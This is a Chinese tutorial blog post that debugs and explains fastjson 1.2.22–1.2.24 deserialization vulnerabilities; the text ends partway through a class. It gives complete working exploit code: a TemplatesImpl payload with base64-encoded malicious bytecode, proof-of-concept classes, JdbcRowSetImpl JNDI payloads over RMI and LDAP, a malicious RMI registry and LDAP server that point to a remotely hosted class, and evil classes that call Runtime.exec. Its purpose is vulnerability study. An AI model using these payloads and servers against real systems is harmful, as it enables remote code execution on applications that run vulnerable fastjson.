欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

程序员文章站 2022-06-27 23:30:08
一直知道反序列化漏洞的大概原理和利用方式,但从来没有真正动手调试过,拿来主义终究不可取,于是就有了这篇文章,这里就以fastjson为例,为自己好好捋一捋,沉淀一下。fastjson介绍首先创建一个简单Student类:package fastjson;public class Student { private String name; private int age; public Student() { System.out.println("Stu...


一直知道反序列化漏洞的大概原理和利用方式,但从来没有真正动手调试过,拿来主义终究不可取,于是就有了这篇文章,这里就以fastjson为例,为自己好好捋一捋,沉淀一下。
文章有点过分的长,一次可能看不完。。。不过幸好有目录,有需要可以挑自己喜欢的地方看

环境

贴上我的pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>JavaProject</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.12</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.5</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.9</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
</project>

可以搞一个marshalsec(不想搞的,忽略,后面会有替代代码),在github上下载,解压并在同目录下使用如下命令打包

mvn clean package -DskipTests

在target目录下可以找到marshalsec-0.0.3-SNAPSHOT-all.jar

fastjson介绍

首先创建一个简单Student类:

package fastjson;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("Student构造函数");
    }

    public String getName() {
        System.out.println("Student getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("Student getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("Student setAge");
        this.age = age;
    }
}

TestFastJson.java,调用JSON.toJsonString()来序列化Student类对象 :

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class TestFastJson {
    public static void main(String[] args){

        Student student = new Student();
        student.setName("5wimming");
        student.setAge(18);
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
    }
}

FastJson利用 toJSONString 方法来序列化对象,SerializerFeature.WriteClassName是JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法,而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题。

输出如下:

# 设置了SerializerFeature.WriteClassName属性
Student构造函数
Student setName
Student setAge
Student getAge
Student getName
{"@type":"fastjson.Student","age":18,"name":"5wimming"}

# 未设置SerializerFeature.WriteClassName属性
Student构造函数
Student setName
Student setAge
Student getAge
Student getName
{"age":18,"name":"5wimming"}

而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObjectJSON.parse ,最主要的区别就是前者未指定目标类的前提下返回的是 JSONObject ,而后者返回的是实际类型的对象。

parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。

所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),因此在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class TestFastJsonDer {
    public static void main(String[] args){
        String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"5wimming\"}";

        System.out.println("通过parseObject方法进行反序列化,未指定class,返回一个JSONObject对象:");
        JSONObject obj = JSON.parseObject(jsonString);
        System.out.println(obj);
        System.out.println(obj.getClass().getName());

        System.out.println("通过parseObject方法进行反序列化,指定class,返回相应的类:");
        Student obj02 = JSON.parseObject(jsonString, Student.class);
        System.out.println(obj02);
        System.out.println(obj02.getClass().getName());

        System.out.println("通过parse方法进行反序列化,返回相应的类:");
        Student obj03 = (Student)JSON.parse(jsonString);
        System.out.println(obj03);
        System.out.println(obj03.getClass().getName());
    }
}

输出如下:

通过parseObject方法进行反序列化,未指定class,返回一个JSONObject对象:
Student构造函数
Student setAge
Student setName
Student getAge
Student getName
{"name":"5wimming","age":18}
com.alibaba.fastjson.JSONObject

通过parseObject方法进行反序列化,指定class,返回相应的类:
Student构造函数
Student setAge
Student setName
fastjson.Student@4f2410ac
fastjson.Student

通过parse方法进行反序列化,返回相应的类:
Student构造函数
Student setAge
Student setName
fastjson.Student@722c41f4
fastjson.Student

Feature.SupportNonPublicField的使用

fastjson默认情况下是不会反序列化私有属性的,如果需要怼私有属性进行反序列化,则需要在parseObject()函数添加一个属性Feature.SupportNonPublicField。

举一个栗子:

我们把student类改改,把私有属性age的set方法去掉(如果不去掉,fastjson依然是能反序列化成功的,因为你提供了这个借口),作为对比,我们把那么属性设置为public,并且也注释掉set方法:

package fastjson;

public class Student {
    public String name;
    private int age;
    public Student() {
        System.out.println("Student构造函数");
    }

    public String getName() {
        System.out.println("Student getName");
        return name;
    }

//    public void setName(String name) {
//        System.out.println("Student setName");
//        this.name = name;
//    }

    public int getAge() {
        System.out.println("Student getAge");
        return age;
    }

//    public void setAge(int age) {
//        System.out.println("Student setAge");
//        this.age = age;
//    }
}

然后反序列化:

String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"5wimming\"}";
Student obj04 = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(obj04);
System.out.println(obj04.getClass().getName());
System.out.println(obj04.getName() + " " + obj04.getAge());

输出如下,发现不带Feature.SupportNonPublicField的age为0,即没有赋值成功,而同样没有set函数的name却可以赋值成功。

# 带有Feature.SupportNonPublicField
Student构造函数
fastjson.Student@5b80350b
fastjson.Student
Student getName
Student getAge
5wimming 18

# 不带Feature.SupportNonPublicField
Student构造函数
fastjson.Student@5b80350b
fastjson.Student
Student getName
Student getAge
5wimming 0

下面是Fastjson反序列化的类方法调用关系:

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

JSON:门面类,提供入口

DefaultJSONParser:主类

ParserConfig:配置相关类

JSONLexerBase:字符分析类

JavaBeanDeserializer:JavaBean反序列化类

Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

  • 函数名长度大于4且以set开头
  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

注意,除了getter方法和setter方法外,fastjson还有getIs和setIs方法,用于获取、设置布尔参数。

漏洞原理

从前文可知,fastjson在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。

怎么样才能找到这种有漏洞函数的类呢

前文中,我们知道fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。有两种情况我们有可乘之机:

1、程序员自己实现的类中就包含了这种危险操作,那就可以直接利用了;

2、反序列化指定的类型太大,包含了很多子类,并且在不在反序列化的黑名单内,极端情况,如Object或JSONObject,像Object o = JSON.parseObject(poc,Object.class)就可以反序列化出来任意类,这种情况下,带有危险操作的类就相当可观了。

举个例子:

我们在setName()函数中加入了一个危险操作:

package fastjson;

import java.io.IOException;

public class Student {
    public String name;
    private int age;
    public Student() {
        System.out.println("Student构造函数");
    }

    public String getName() {
        System.out.println("Student getName");
        return name;
    }

    public void setName(String name) throws IOException {
        System.out.println("Student setName");
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        this.name = name;
    }

    public int getAge() {
        System.out.println("Student getAge");

        return age;
    }

//    public void setAge(int age) {
//        System.out.println("Student setAge");
//        this.age = age;
//    }
}

然后反序列化,便可弹出计算器了

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.IOException;

public class TestFastJsonDer {
    public static void main(String[] args) throws IOException {
        String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"5wimming\"}";

        System.out.println("测试SupportNonPublicField:");
        Student obj04 = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj04);
        System.out.println(obj04.getClass().getName());
        System.out.println(obj04.getName() + " " + obj04.getAge());
    }
}

反序列化漏洞一

影响版本

1.2.22-1.2.24

基于JNDI注入的利用链

首先我们定义一个EvilPayload类,这里会弹出一个计算器

package fastjson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilPayload extends AbstractTranslet {
    public EvilPayload() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        EvilPayload t = new EvilPayload();
    }
}

创建一个poc类,作为漏洞入口,其中readClass用于将读取EvilPayload的class文件,并且使用base64进行编码,由于反序列化中_bytecodes、_tfactory等都是私有变量,因此parseObject需要参数Feature.SupportNonPublicField:

package fastjson;

import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void main(String args[]){
        try {
            ParserConfig config = new ParserConfig();
            final String evilClassPath = System.getProperty("user.dir") + System.getProperty("file.separator") + "target/classes/fastjson/EvilPayload.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                    "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
            System.out.println(text1);

            JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到poc为:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEARAoACwAnCgAoACkIACoKACgAKwkALAAtCAAuCgAsAC8KADAAMQgAMgcAMwcANAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAWTGZhc3Rqc29uL0V2aWxQYXlsb2FkOwEACkV4Y2VwdGlvbnMHADUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwA2AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAEEV2aWxQYXlsb2FkLmphdmEMAAwADQcANwwAOAA5AQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAOgA7BwA8DAA9AD4BAAh1c2VyLmRpcgwAPwBABwBBDABCAEMBAA5maWxlLnNlcGFyYXRvcgEAFGZhc3Rqc29uL0V2aWxQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAoACwAAAAAABAABAAwADQACAA4AAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIADwAAAA4AAwAAAAwABAANAA0ADgAQAAAADAABAAAADgARABIAAAATAAAABAABABQAAQAVABYAAgAOAAAAPwAAAAMAAAABsQAAAAIADwAAAAYAAQAAABEAEAAAACAAAwAAAAEAEQASAAAAAAABABcAGAABAAAAAQAZABoAAgATAAAABAABABsAAQAVABwAAgAOAAAASQAAAAQAAAABsQAAAAIADwAAAAYAAQAAABUAEAAAACoABAAAAAEAEQASAAAAAAABABcAGAABAAAAAQAdAB4AAgAAAAEAHwAgAAMAEwAAAAQAAQAbAAkAIQAiAAIADgAAAEkAAgABAAAAF7IABRIGuAAHtgAIsgAFEgm4AAe2AAixAAAAAgAPAAAADgADAAAAGQALABoAFgAbABAAAAAMAAEAAAAXACMAJAAAABMAAAAEAAEAFAABACUAAAACACY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

其中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl为是那个带有危险操作的类,经过base64编码的payload会经过私有属性_bytecodes传递给_outputProperties函数,从而导致命令执行。另外,在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置。

调试一下

在JSON.parseObject处打一个断点,然后debug
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后进入DefaultJSONParser.parseObject(),继续进入:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着调用了ObjectDeserializer.deserialze(this, type, fieldName)了,继续跟进:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后就是判断调用DefaultJSONParser.parseObject()还是调用DefaultJSONParser.parse()

return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);

反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
这里可以调用evaluate窗口进行计算
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
所以从结果中,可以看到它会调用parse()函数,接着会对内容进行扫描,判断为token为12,调用parseObject(),
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着就是在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)里循环解析json中的内容
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
往下调试,判断key是否为@type且是否关闭了Feature.DisableSpecialKeyDetect设置,通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后跟进com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),看到如红框的两个判断语句代码逻辑,是判断当前类名是否以”[“开头或以”L”开头以”;”结尾,当然本次调试分析是不会进入到这两个逻辑,但是后面的补丁绕过中利用到了这两个条件判断,也就是说这两个判断条件是后面补丁绕过的漏洞点。

接着将该类名和类缓存到Map中,最后返回该加载的类。
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
返回后继续接着loadClass往下执行,然后调用deserializer.deserialze(this, clazz, fieldName)对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl进行反序列化
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着调用parseField继续执行,此时key值为_bytecodes,跟进去
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
发现会调用((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues)对_bytecodes的值进一步解析,跟进
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
接着,会解析出_bytecodes对应的内容,然后调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64解码后的数据,解码过程发生在setValue()前面的fieldValueDeserilizer.deserialze函数,这里不再跟进

value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);

跟进setValue函数
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
进入后可以看到,调用了private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes的set方法来设置_bytecodes的值:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
与上面类似,接下来就是循环遍历和赋值json中的key-value值,下面是给_name赋值
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
给_tfactory赋值
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后来到了我们的关键函数outputProperties,跟进该方法反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
下图可以看到,会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法,下划线跑去哪了?在经过com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch函数时,会把下划线去掉。

getOutputProperties()方法类型是get方法、满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter方法,继续跟进,这里要选择强制进入函数:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后调用了MethodAccessor.invoke(obj, args),继续强制进入
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
继续强制进入
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
继续(烦不烦。。。)
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
那个男人终于来了,在方法中调用了newTransformer().getOutputProperties()方法,跟进TemplatesImpl.newTransformer()方法:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后跟进getTransletInstance()方法
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
在defineTransletClasses()方法中,会根据_bytecodes的值生成EvilPayload类,可以看到最终解析到class fastjson.EvilPayload类了:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
我们跟进defineTransletClasses()函数看看,发现会调用_tfactory.getExternalExtensionsMap()函数,因此我们的json数据中有_tfactory这个参数,否则为null会导致报错
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
继续看defineTransletClasses()函数,该函数还会判断恶意类是否继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,否则会报错。所以我们的EvilPayload类会继承了这玩意。
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

后面就是EvilPayload类的实例化过程,过程中会调用构造函数,并弹出计算器
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
调用栈:

<init>:13, EvilPayload (fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:34, Poc (fastjson)

基于JdbcRowSetImpl的利用链

基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP,都是属于基于Bean Property类型的JNDI的利用方式。

JNDI

这里大概讲一下JNDI和JNDI注入:

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

总结一下,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

在JNDI中提供了绑定和查找的方法:

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;

JNDI注入点有很多,这里拿lookup函数举例,比如下面栗子,如果uri我们可控,那么就会通过远程调用我们的evil类,从而造成命令执行。

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
String uri = "rmi://127.0.0.1:1099/evil"
ctx.lookup(uri)

JNDI注入漏洞的限制因素是JDK版本。

LDAP

LDAP(Light Directory Access Portocol)是一种轻量级目录访问协议,LDAP支持TCP/IP。可以认为是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

AD(Active Directory)是微软基于LDAP的一套实现。

限制

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

可以在官网下载相应的jdk,如果在已有项目改变jdk环境,需要在idea如下四处进行设置(或者重建项目,选择jdk版本会方便点,它会帮你一步到位)
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

JNDI+RMI利用

payload如下,其中@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型,设置该值会调用setAutoCommit()方法,而里面又调用了connect(),connent函数里面就有我们需要的lookup()。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvilClass", "autoCommit":true}

创建JNDIServer.java,RMI服务,注册表绑定了Exploit服务,该服务是指向恶意EvilClass.class文件所在服务器的Reference:

package fastjson;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
        Registry registry = LocateRegistry.createRegistry(6099);
        Reference reference = new Reference("EvilClass",
                "EvilClass","http://127.0.0.1:6666/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("EvilClass",referenceWrapper);
    }
}

或者使用marshalsec建立ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#EvilClass 6099

接下来编写恶意类EvilClass,编译成一个class,作为一个Factory绑定在注册表服务中,注意不要跟JNDIServer类放在同一个目录,防止它会直接本地获取

public class EvilClass {
    public EvilClass() {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        EvilClass e = new EvilClass();
    }
}

然后编写poc:

package fastjson;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:6099/EvilClass\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

在EvilClass同目录下使用python开启一个http服务:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后先后启动JNDIServer类和JdbcRowSetImplPoc类,这里如果两个类在同一个idea工程下,意味着需要运行两个控制台,可以通过如下设置:
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
然后会就弹出可爱的计算器了
反序列化漏洞例子——fastjson反序列化漏洞的调试与分析
细心的同学注意到我的环境又变成Windows了,诶。。。不知道为啥,macos克我。

JNDI+LDAP利用

payload如下,跟前面相比,协议变成了ldap,与rmi协议相比,ldap协议可以满足该漏洞的jdk版本更多,即利用条件更广。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:6099/EvilClass", "autoCommit":true}

接着创建Ldap服务器,创建LdapServer类:

package fastjson;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:6666/#EvilClass";
        int port = 6099;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


